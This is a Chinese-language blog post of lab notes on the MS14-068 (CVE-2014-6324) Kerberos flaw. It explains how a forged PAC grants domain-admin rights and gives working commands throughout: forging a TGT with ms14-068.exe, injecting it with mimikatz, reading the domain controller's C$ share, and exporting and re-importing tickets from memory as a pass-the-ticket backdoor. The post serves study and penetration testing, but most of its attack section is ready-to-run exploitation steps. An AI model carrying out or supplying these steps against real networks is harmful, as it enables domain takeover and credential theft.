MS14-068攻击链路

前言:MS14-068攻击链路笔记

参考文章:https://docs.microsoft.com/en-us/previous-versions/aa302203(v=msdn.10)#security-considerations
参考文章:https://www.anquanke.com/post/id/172900

漏洞

kb3011780 用于解决Microsoft Windows Kerberos KDC漏洞(CVE-2014-6324)

查看是否打补丁:systeminfo |find "3011780",只是一种检测方法,如下图中所示是没打吗,不一定,这边的话还是看具体的操作系统,多数产生在windows server 2008和windows server 2003的域环境中,对应win11的话默认就打了这种补丁的。

漏洞原理

MS14-068是密钥分发中心(KDC)服务中的Windows漏洞。它允许经过身份验证的用户在其Kerberos票证(TGT)中
插入任意PAC(表示所有用户权限的结构)。该漏洞位于kdcsvc.dll域控制器的密钥分发中心(KDC)中。用户可以通过
呈现具有改变的PAC的Kerberos TGT来获得票证.

自己也不会讲,因为自己也不太深入了解,就不哗众取宠了...

漏洞原因

A、在域中默认允许设置Include-pac的值为False(不能算漏洞,应该是微软对于某些特定场景的特殊考虑设计出的机制)。

B、PAC中的数字签名可以由Client端指定,并且Key的值可以为空。

C、PAC的加密方式也可以由Client指定,并且Key的值为generate_subkey函数生成的16位随机数。

D、构造的PAC中包含高权限组的SID内容。

也就是说通过这几点Client完全伪造了一个PAC发送给KDC,并且KDC通过Client端在请求中指定的加密算法来解密伪造的PAC以及校验数字签名,并验证通过。


漏洞利用前提:
1.域控没有打MS14-068的补丁(KB3011780)
2.已经拿下一台加入域的计算机
3.有这台域内计算机的域用户密码和Sid

漏洞利用过程:

1、生成TGT:

net config workstation

ms14-068.exe -u yuyonghu01@top.pentest.top -s S-1-5-21-2174377853-1962599352-171107088-1128 -d top.pentest.top

生成的票据:

2、注入TGT:

先查看自己的klist 如果有的话 那么先清理掉 否则可能会导致无法成功
klist

清理原来的票据:klist purge

清除票据的原因:https://www.t00ls.net/viewthread.php?tid=28727

利用mimikatz进行注入

非交互式中直接执行一句话
mimikatz.exe "kerberos::ptc TGT_yuyonghu01@top.pentest.top.ccache" exit

注入成功!

查看票据:
klist

尝试访问域服务器,这里需要注意的不能用ip访问,因为是通过协议来进行认证的
dir \\WIN-CKT0M35R6UO.top.pentest.top\c$


后门Export the ticket:利用的是TGT默认保存在内存里,而且有效期为10小时,攻击者拿到TGT则可以直接向KDC申请访问Server的ST(也就是TGS Ticket),导致可以冒充用户获得访问权限 (PTT攻击)

再导入票据之前先清除下票据,以防止之前实验的因素的干扰
klist purge

通过mimikatz导出内存中的Ticket,执行:
sekurlsa::tickets /export

如图:

挑选其中的[0;7d8508]-2-0-60a00000-yuyonghu01@krbtgt-TOP.PENTEST.TOP.kribi在域普通用户的主机进行导入

导入:
mimikatz "kerberos::ptt [0;7d8508]-2-0-60a00000-yuyonghu01@krbtgt-TOP.PENTEST.TOP.kirbi"

尝试访问域控服务器:
dir \\WIN-CKT0M35R6UO.top.pentest.top\c$

posted @ 2019-12-29 13:39  zpchcbd  阅读(769)  评论(0编辑  收藏  举报